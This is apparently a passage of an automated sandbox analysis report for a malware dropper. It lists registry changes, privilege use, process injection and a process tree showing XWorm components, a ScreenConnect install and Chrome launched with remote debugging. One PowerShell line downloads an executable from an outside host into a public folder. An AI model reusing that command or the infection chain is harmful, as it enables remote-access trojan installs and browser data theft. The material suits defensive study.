Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Modifies registry class 38 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\c13606fe9009f11d\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9B17BA2F046B25CF1C6360EF09901FD1	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\c13606fe9009f11d\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c13606fe9009f11d	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c13606fe9009f11d\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E699DE22986AF3464966EFA18531D424\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9B17BA2F046B25CF1C6360EF09901FD1\E699DE22986AF3464966EFA18531D424	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-ACCE-587A10BE02DF}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-ACCE-587A10BE02DF}\ = "ScreenConnect Client (c13606fe9009f11d) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-ACCE-587A10BE02DF}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\ProductIcon = "C:\\Windows\\Installer\\{22ED996E-A689-643F-9466-FE1A58134D42}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-c13606fe9009f11d\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c13606fe9009f11d\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (c13606fe9009f11d)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E699DE22986AF3464966EFA18531D424	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c13606fe9009f11d\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\PackageCode = "E699DE22986AF3464966EFA18531D424"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\SourceList\PackageName = "setup.msi"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-c13606fe9009f11d	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c13606fe9009f11d\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-ACCE-587A10BE02DF}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\ProductName = "ScreenConnect Client (c13606fe9009f11d)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c13606fe9009f11d\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c13606fe9009f11d\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-ACCE-587A10BE02DF}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (c13606fe9009f11d)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E699DE22986AF3464966EFA18531D424\Version = "402784261"	msiexec.exe

Runs net.exe

Runs ping.exe 1 TTPs 34 IoCs

Remote System Discovery

T1018

pid	Process
5808	PING.EXE
4424	PING.EXE
2108	PING.EXE
1476	PING.EXE
4896	PING.EXE
3404	PING.EXE
6940	PING.EXE
1680	PING.EXE
6808	PING.EXE
6872	PING.EXE
1516	PING.EXE
1372	PING.EXE
3988	PING.EXE
1584	PING.EXE
1272	PING.EXE
3440	PING.EXE
4036	PING.EXE
7056	PING.EXE
936	PING.EXE
2156	PING.EXE
3572	PING.EXE
5488	PING.EXE
6512	PING.EXE
5152	PING.EXE
6104	PING.EXE
5780	PING.EXE
4548	PING.EXE
548	PING.EXE
6140	PING.EXE
1288	PING.EXE
7004	PING.EXE
6388	PING.EXE
6052	PING.EXE
6212	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1692	schtasks.exe
1696	schtasks.exe
1992	schtasks.exe
5980	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3612	powershell.exe
3612	powershell.exe
3664	VBVEd6f.exe
3664	VBVEd6f.exe
3664	VBVEd6f.exe
3664	VBVEd6f.exe
440	chrome.exe
440	chrome.exe
3664	VBVEd6f.exe
3664	VBVEd6f.exe
3320	MSBuild.exe
3320	MSBuild.exe
3320	MSBuild.exe
3320	MSBuild.exe
5080	wmic.exe
5080	wmic.exe
5080	wmic.exe
5080	wmic.exe
4680	wmic.exe
4680	wmic.exe
4680	wmic.exe
4680	wmic.exe
1064	powershell.exe
1064	powershell.exe
1064	powershell.exe
1708	wmic.exe
1708	wmic.exe
1708	wmic.exe
1708	wmic.exe
2184	wmic.exe
2184	wmic.exe
2184	wmic.exe
2184	wmic.exe
1888	wmic.exe
1888	wmic.exe
1888	wmic.exe
1888	wmic.exe
3320	MSBuild.exe
2556	wmic.exe
2556	wmic.exe
2556	wmic.exe
2556	wmic.exe
936	wmic.exe
936	wmic.exe
936	wmic.exe
936	wmic.exe
3320	MSBuild.exe
3320	MSBuild.exe
3320	MSBuild.exe
3320	MSBuild.exe
3320	MSBuild.exe
3320	MSBuild.exe
188	computerlead.exe
188	computerlead.exe
188	computerlead.exe
4968	MSBuild.exe
4968	MSBuild.exe
4968	MSBuild.exe
188	computerlead.exe
3320	MSBuild.exe
4968	MSBuild.exe
3320	MSBuild.exe
4968	MSBuild.exe
3320	MSBuild.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3712	New Text Document mod.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
440	chrome.exe
440	chrome.exe
440	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3712	New Text Document mod.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	1680	Xworm%20V5.6.exe
Token: SeDebugPrivilege	2504	XClient.exe
Token: SeShutdownPrivilege	440	chrome.exe
Token: SeCreatePagefilePrivilege	440	chrome.exe
Token: SeShutdownPrivilege	440	chrome.exe
Token: SeCreatePagefilePrivilege	440	chrome.exe
Token: SeShutdownPrivilege	440	chrome.exe
Token: SeCreatePagefilePrivilege	440	chrome.exe
Token: SeShutdownPrivilege	440	chrome.exe
Token: SeCreatePagefilePrivilege	440	chrome.exe
Token: SeShutdownPrivilege	440	chrome.exe
Token: SeCreatePagefilePrivilege	440	chrome.exe
Token: SeShutdownPrivilege	440	chrome.exe
Token: SeCreatePagefilePrivilege	440	chrome.exe
Token: SeShutdownPrivilege	440	chrome.exe
Token: SeCreatePagefilePrivilege	440	chrome.exe
Token: SeDebugPrivilege	3320	MSBuild.exe
Token: SeDebugPrivilege	4780	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5080	wmic.exe
Token: SeSecurityPrivilege	5080	wmic.exe
Token: SeTakeOwnershipPrivilege	5080	wmic.exe
Token: SeLoadDriverPrivilege	5080	wmic.exe
Token: SeSystemProfilePrivilege	5080	wmic.exe
Token: SeSystemtimePrivilege	5080	wmic.exe
Token: SeProfSingleProcessPrivilege	5080	wmic.exe
Token: SeIncBasePriorityPrivilege	5080	wmic.exe
Token: SeCreatePagefilePrivilege	5080	wmic.exe
Token: SeBackupPrivilege	5080	wmic.exe
Token: SeRestorePrivilege	5080	wmic.exe
Token: SeShutdownPrivilege	5080	wmic.exe
Token: SeDebugPrivilege	5080	wmic.exe
Token: SeSystemEnvironmentPrivilege	5080	wmic.exe
Token: SeRemoteShutdownPrivilege	5080	wmic.exe
Token: SeUndockPrivilege	5080	wmic.exe
Token: SeManageVolumePrivilege	5080	wmic.exe
Token: 33	5080	wmic.exe
Token: 34	5080	wmic.exe
Token: 35	5080	wmic.exe
Token: 36	5080	wmic.exe
Token: SeIncreaseQuotaPrivilege	5080	wmic.exe
Token: SeSecurityPrivilege	5080	wmic.exe
Token: SeTakeOwnershipPrivilege	5080	wmic.exe
Token: SeLoadDriverPrivilege	5080	wmic.exe
Token: SeSystemProfilePrivilege	5080	wmic.exe
Token: SeSystemtimePrivilege	5080	wmic.exe
Token: SeProfSingleProcessPrivilege	5080	wmic.exe
Token: SeIncBasePriorityPrivilege	5080	wmic.exe
Token: SeCreatePagefilePrivilege	5080	wmic.exe
Token: SeBackupPrivilege	5080	wmic.exe
Token: SeRestorePrivilege	5080	wmic.exe
Token: SeShutdownPrivilege	5080	wmic.exe
Token: SeDebugPrivilege	5080	wmic.exe
Token: SeSystemEnvironmentPrivilege	5080	wmic.exe
Token: SeRemoteShutdownPrivilege	5080	wmic.exe
Token: SeUndockPrivilege	5080	wmic.exe
Token: SeManageVolumePrivilege	5080	wmic.exe
Token: 33	5080	wmic.exe
Token: 34	5080	wmic.exe
Token: 35	5080	wmic.exe
Token: 36	5080	wmic.exe
Token: SeIncreaseQuotaPrivilege	4680	wmic.exe
Token: SeSecurityPrivilege	4680	wmic.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
2608	AmLzNi.exe
2608	AmLzNi.exe
2608	AmLzNi.exe
2608	AmLzNi.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
440	chrome.exe
1908	Reynolds.com
1908	Reynolds.com
1908	Reynolds.com
3604	explorer.exe
1828	msiexec.exe
1828	msiexec.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
2608	AmLzNi.exe
2608	AmLzNi.exe
2608	AmLzNi.exe
2608	AmLzNi.exe
1908	Reynolds.com
1908	Reynolds.com
1908	Reynolds.com

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3320	MSBuild.exe
4968	MSBuild.exe
700	9758xBqgE1azKnB.exe
5896	Conhost.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
3852	RuntimeBroker.exe
4908	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3712 wrote to memory of 2608	3712	New Text Document mod.exe	87
PID 3712 wrote to memory of 2608	3712	New Text Document mod.exe	87
PID 2608 wrote to memory of 3612	2608	AmLzNi.exe	88
PID 2608 wrote to memory of 3612	2608	AmLzNi.exe	88
PID 3712 wrote to memory of 1680	3712	New Text Document mod.exe	93
PID 3712 wrote to memory of 1680	3712	New Text Document mod.exe	93
PID 3712 wrote to memory of 2504	3712	New Text Document mod.exe	94
PID 3712 wrote to memory of 2504	3712	New Text Document mod.exe	94
PID 3712 wrote to memory of 2636	3712	New Text Document mod.exe	95
PID 3712 wrote to memory of 2636	3712	New Text Document mod.exe	95
PID 3712 wrote to memory of 2636	3712	New Text Document mod.exe	95
PID 3712 wrote to memory of 3664	3712	New Text Document mod.exe	96
PID 3712 wrote to memory of 3664	3712	New Text Document mod.exe	96
PID 3712 wrote to memory of 3664	3712	New Text Document mod.exe	96
PID 3712 wrote to memory of 2680	3712	New Text Document mod.exe	97
PID 3712 wrote to memory of 2680	3712	New Text Document mod.exe	97
PID 3712 wrote to memory of 3524	3712	New Text Document mod.exe	98
PID 3712 wrote to memory of 3524	3712	New Text Document mod.exe	98
PID 3712 wrote to memory of 1428	3712	New Text Document mod.exe	99
PID 3712 wrote to memory of 1428	3712	New Text Document mod.exe	99
PID 3712 wrote to memory of 1324	3712	New Text Document mod.exe	100
PID 3712 wrote to memory of 1324	3712	New Text Document mod.exe	100
PID 3712 wrote to memory of 1416	3712	New Text Document mod.exe	101
PID 3712 wrote to memory of 1416	3712	New Text Document mod.exe	101
PID 3664 wrote to memory of 440	3664	VBVEd6f.exe	102
PID 3664 wrote to memory of 440	3664	VBVEd6f.exe	102
PID 440 wrote to memory of 2240	440	chrome.exe	103
PID 440 wrote to memory of 2240	440	chrome.exe	103
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 1148	440	chrome.exe	104
PID 440 wrote to memory of 4456	440	chrome.exe	105
PID 440 wrote to memory of 4456	440	chrome.exe	105
PID 440 wrote to memory of 4788	440	chrome.exe	106
PID 440 wrote to memory of 4788	440	chrome.exe	106
PID 440 wrote to memory of 4788	440	chrome.exe	106
PID 440 wrote to memory of 4788	440	chrome.exe	106

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:624
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1076

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:380

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1340

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1380
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2772
- C:\Users\Admin\AppData\Local\Temp\service123.exe
  "C:\Users\Admin\AppData\Local\Temp\/service123.exe"
  2⤵
  PID:5256
- C:\Users\Admin\AppData\Local\Temp\service123.exe
  "C:\Users\Admin\AppData\Local\Temp\/service123.exe"
  2⤵
  PID:1336
- C:\Users\Admin\AppData\Local\Temp\service123.exe
  "C:\Users\Admin\AppData\Local\Temp\/service123.exe"
  2⤵
  PID:6308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1576
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2620
- - C:\Windows\SysWOW64\fontdrvhost.exe
    "C:\Windows\System32\fontdrvhost.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2036
- - C:\Windows\SysWOW64\fontdrvhost.exe
    "C:\Windows\System32\fontdrvhost.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2188

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2328

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3000

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:3016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3052

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3620
- C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
  "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
  2⤵
  - Checks computer location settings
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3712
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3908
- - C:\Users\Admin\AppData\Local\Temp\a\AmLzNi.exe
    "C:\Users\Admin\AppData\Local\Temp\a\AmLzNi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri "https://ratsinthehole.com/vvvv/yVdlbFlx" -OutFile "C:\Users\Public\Guard.exe""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3612
- - C:\Users\Admin\AppData\Local\Temp\a\Xworm%20V5.6.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Xworm%20V5.6.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1680
- - C:\Users\Admin\AppData\Local\Temp\a\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\a\XClient.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2504
- - C:\Users\Admin\AppData\Local\Temp\a\333.exe
    "C:\Users\Admin\AppData\Local\Temp\a\333.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2636
- - C:\Users\Admin\AppData\Local\Temp\a\VBVEd6f.exe
    "C:\Users\Admin\AppData\Local\Temp\a\VBVEd6f.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3664
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:440
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffc9c91cc40,0x7ffc9c91cc4c,0x7ffc9c91cc58
        5⤵
        
        PID:2240
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2068,i,10438410428506330765,15666561041113464463,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=2060 /prefetch:2
        5⤵
        
        PID:1148
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1928,i,10438410428506330765,15666561041113464463,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=1792 /prefetch:3
        5⤵
        
        PID:4456
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2284,i,10438410428506330765,15666561041113464463,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=2004 /prefetch:8
        5⤵
        
        PID:4788
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3192,i,10438410428506330765,15666561041113464463,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3204 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4364
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
